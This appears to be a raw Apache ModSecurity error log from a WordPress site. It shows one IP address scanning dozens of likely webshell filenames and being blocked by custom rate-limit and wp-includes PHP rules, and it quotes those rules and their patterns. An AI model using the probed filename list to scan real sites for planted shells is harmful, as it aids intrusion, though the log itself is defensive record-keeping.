[Fri Dec 26 21:12:21.213136 2025] [autoindex:error] [pid 34865:tid 34869] [client 52.175.121.6:6763] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 21:12:58.556421 2025] [:error] [pid 28269:tid 28325] [client 52.175.121.6:4561] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU6J2p3ZK8bJ-c9-kjOJEQAAAFc"]
[Fri Dec 26 21:12:59.114650 2025] [:error] [pid 15063:tid 15088] [client 52.175.121.6:5805] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU6J2-Dsf_aL46Jy7z8ajgAAARc"]
[Fri Dec 26 21:13:00.270525 2025] [:error] [pid 15063:tid 15085] [client 52.175.121.6:6130] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU6J3ODsf_aL46Jy7z8akgAAARQ"]
[Fri Dec 26 21:13:02.541389 2025] [:error] [pid 28270:tid 28351] [client 52.175.121.6:5654] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU6J3l9Ac79_ckdPN5JghwAAAJY"]
[Fri Dec 26 21:13:05.181137 2025] [:error] [pid 34865:tid 34880] [client 52.175.121.6:5296] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aU6J4ai4zjVVKBdvuTT1AgAAAU0"]
[Fri Dec 26 21:13:06.898486 2025] [:error] [pid 28269:tid 28315] [client 52.175.121.6:2919] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aU6J4p3ZK8bJ-c9-kjOJGwAAAE0"]
[Fri Dec 26 21:13:07.873031 2025] [:error] [pid 28269:tid 28306] [client 52.175.121.6:2880] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aU6J453ZK8bJ-c9-kjOJHgAAAEQ"]
[Fri Dec 26 21:13:08.715007 2025] [:error] [pid 28269:tid 28317] [client 52.175.121.6:2547] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aU6J5J3ZK8bJ-c9-kjOJIgAAAE8"]
[Fri Dec 26 21:13:09.730765 2025] [:error] [pid 7160:tid 7179] [client 52.175.121.6:2109] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU6J5ew_ihNZR5L8vEWPiwAAAZA"]
[Fri Dec 26 21:13:10.341406 2025] [:error] [pid 15063:tid 15082] [client 52.175.121.6:4872] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU6J5uDsf_aL46Jy7z8anQAAARE"]
[Fri Dec 26 21:13:10.920801 2025] [:error] [pid 7160:tid 7173] [client 52.175.121.6:2107] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU6J5uw_ihNZR5L8vEWPjQAAAYo"]
[Fri Dec 26 21:13:12.144949 2025] [:error] [pid 28268:tid 28286] [client 52.175.121.6:2290] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU6J6Hc_KuO_55-uPTS7tAAAAAs"]
[Fri Dec 26 21:13:13.787715 2025] [:error] [pid 28268:tid 28293] [client 52.175.121.6:4429] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU6J6Xc_KuO_55-uPTS7uwAAABI"]
[Fri Dec 26 21:13:15.499074 2025] [:error] [pid 28269:tid 28313] [client 52.175.121.6:4148] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU6J653ZK8bJ-c9-kjOJKAAAAEs"]
[Fri Dec 26 21:13:17.433873 2025] [:error] [pid 15063:tid 15086] [client 52.175.121.6:2829] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU6J7eDsf_aL46Jy7z8aqAAAARU"]
[Fri Dec 26 21:13:19.192257 2025] [:error] [pid 28355:tid 28381] [client 52.175.121.6:5876] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aU6J77sFqKXf7ADZcTYjVAAAANg"]
[Fri Dec 26 21:13:21.273619 2025] [:error] [pid 28268:tid 28284] [client 52.175.121.6:5874] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU6J8Xc_KuO_55-uPTS7yQAAAAk"]
[Fri Dec 26 21:13:23.365933 2025] [:error] [pid 28270:tid 28348] [client 52.175.121.6:5882] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU6J819Ac79_ckdPN5JgpAAAAJM"]
[Fri Dec 26 21:13:25.616141 2025] [:error] [pid 15063:tid 15079] [client 52.175.121.6:1306] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU6J9eDsf_aL46Jy7z8awQAAAQ4"]
[Fri Dec 26 21:13:26.759414 2025] [:error] [pid 15063:tid 15084] [client 52.175.121.6:5875] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aU6J9uDsf_aL46Jy7z8awwAAARM"]
[Fri Dec 26 21:13:28.250730 2025] [:error] [pid 28268:tid 28286] [client 52.175.121.6:5954] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU6J-Hc_KuO_55-uPTS7zwAAAAs"]
[Fri Dec 26 21:13:29.101451 2025] [:error] [pid 34865:tid 34874] [client 52.175.121.6:2656] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU6J-ai4zjVVKBdvuTT1KgAAAUc"]
[Fri Dec 26 21:13:30.121938 2025] [:error] [pid 28269:tid 28312] [client 52.175.121.6:4368] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU6J-p3ZK8bJ-c9-kjOJXAAAAEo"]
[Fri Dec 26 21:13:31.273211 2025] [:error] [pid 28269:tid 28309] [client 52.175.121.6:2871] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU6J-53ZK8bJ-c9-kjOJYwAAAEc"]
[Fri Dec 26 21:13:32.808266 2025] [:error] [pid 34865:tid 34878] [client 52.175.121.6:4401] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU6J_Ki4zjVVKBdvuTT1LgAAAUs"]
[Fri Dec 26 21:13:34.461071 2025] [:error] [pid 28268:tid 28281] [client 52.175.121.6:4384] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU6J_nc_KuO_55-uPTS70gAAAAY"]
[Fri Dec 26 21:13:35.149653 2025] [:error] [pid 34865:tid 34872] [client 52.175.121.6:4153] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU6J_6i4zjVVKBdvuTT1MwAAAUU"]
[Fri Dec 26 21:13:36.583976 2025] [:error] [pid 7160:tid 7187] [client 52.175.121.6:4680] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU6KAOw_ihNZR5L8vEWP3QAAAZg"]
[Fri Dec 26 21:13:38.757810 2025] [:error] [pid 34865:tid 34875] [client 52.175.121.6:2659] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aU6KAqi4zjVVKBdvuTT1OgAAAUg"]
[Fri Dec 26 21:13:40.060866 2025] [:error] [pid 28268:tid 28291] [client 52.175.121.6:2842] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aU6KBHc_KuO_55-uPTS71gAAABA"]
[Fri Dec 26 21:13:41.995255 2025] [:error] [pid 34865:tid 34885] [client 52.175.121.6:2411] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aU6KBai4zjVVKBdvuTT1QwAAAVI"]
[Fri Dec 26 21:13:43.317381 2025] [:error] [pid 28269:tid 28305] [client 52.175.121.6:2660] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aU6KB53ZK8bJ-c9-kjOJfgAAAEM"]
[Fri Dec 26 21:13:44.972407 2025] [:error] [pid 28270:tid 28335] [client 52.175.121.6:2395] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU6KCF9Ac79_ckdPN5JgtQAAAIY"]
[Fri Dec 26 21:13:45.959226 2025] [:error] [pid 28355:tid 28379] [client 52.175.121.6:1381] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU6KCbsFqKXf7ADZcTYjbAAAANY"]
[Fri Dec 26 21:13:47.413761 2025] [:error] [pid 28269:tid 28310] [client 52.175.121.6:4717] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU6KC53ZK8bJ-c9-kjOJiAAAAEg"]
[Fri Dec 26 21:13:49.078900 2025] [:error] [pid 7160:tid 7183] [client 52.175.121.6:1345] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aU6KDew_ihNZR5L8vEWP8AAAAZQ"]
[Fri Dec 26 21:13:50.498503 2025] [:error] [pid 7160:tid 7184] [client 52.175.121.6:1781] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU6KDuw_ihNZR5L8vEWP8wAAAZU"]
[Fri Dec 26 21:13:51.991288 2025] [:error] [pid 28270:tid 28339] [client 52.175.121.6:2375] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU6KD19Ac79_ckdPN5JgtwAAAIo"]
[Fri Dec 26 21:13:53.707383 2025] [:error] [pid 28270:tid 28330] [client 52.175.121.6:4224] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU6KEV9Ac79_ckdPN5JguAAAAIE"]
[Fri Dec 26 21:13:54.496630 2025] [:error] [pid 28270:tid 28333] [client 52.175.121.6:5449] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aU6KEl9Ac79_ckdPN5JgvQAAAIQ"]
[Fri Dec 26 21:13:55.686716 2025] [:error] [pid 15063:tid 15071] [client 52.175.121.6:1775] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aU6KE-Dsf_aL46Jy7z8a3gAAAQY"]
[Fri Dec 26 21:14:45.470998 2025] [:error] [pid 28270:tid 28344] [client 52.175.121.6:4257] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6KRV9Ac79_ckdPN5Jg-gAAAI8"]
[Fri Dec 26 21:14:47.512503 2025] [:error] [pid 34865:tid 34885] [client 52.175.121.6:1933] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6KR6i4zjVVKBdvuTT1iQAAAVI"]
[Fri Dec 26 21:14:50.326783 2025] [:error] [pid 28355:tid 28377] [client 52.175.121.6:4206] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6KSrsFqKXf7ADZcTYjpwAAANQ"]
[Fri Dec 26 21:14:52.497903 2025] [:error] [pid 7160:tid 7183] [client 52.175.121.6:4799] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aU6KTOw_ihNZR5L8vEWQMAAAAZQ"]
[Fri Dec 26 21:14:53.339259 2025] [:error] [pid 7160:tid 7173] [client 52.175.121.6:4754] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KTew_ihNZR5L8vEWQNQAAAYo"]
[Fri Dec 26 21:14:54.639206 2025] [:error] [pid 7160:tid 7181] [client 52.175.121.6:1159] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KTuw_ihNZR5L8vEWQOAAAAZI"]
[Fri Dec 26 21:14:55.937479 2025] [:error] [pid 28269:tid 28309] [client 52.175.121.6:4182] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KT53ZK8bJ-c9-kjOJ9AAAAEc"]
[Fri Dec 26 21:14:57.270100 2025] [:error] [pid 15063:tid 15073] [client 52.175.121.6:4787] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KUeDsf_aL46Jy7z8bFAAAAQg"]
[Fri Dec 26 21:14:58.042170 2025] [:error] [pid 7160:tid 7179] [client 52.175.121.6:1929] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aU6KUuw_ihNZR5L8vEWQPgAAAZA"]
[Fri Dec 26 21:14:59.483501 2025] [:error] [pid 15063:tid 15074] [client 52.175.121.6:4014] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KU-Dsf_aL46Jy7z8bFgAAAQk"]
[Fri Dec 26 21:15:02.245670 2025] [:error] [pid 28269:tid 28316] [client 52.175.121.6:4188] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KVp3ZK8bJ-c9-kjOJ-wAAAE4"]
[Fri Dec 26 21:15:07.248294 2025] [:error] [pid 28270:tid 28334] [client 52.175.121.6:1974] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KW19Ac79_ckdPN5JhAgAAAIU"]
[Fri Dec 26 21:15:09.588308 2025] [:error] [pid 34865:tid 34876] [client 52.175.121.6:1228] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aU6KXai4zjVVKBdvuTT17wAAAUk"]
[Fri Dec 26 21:15:10.641814 2025] [:error] [pid 34865:tid 34869] [client 52.175.121.6:3072] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU6KXqi4zjVVKBdvuTT18QAAAUI"]
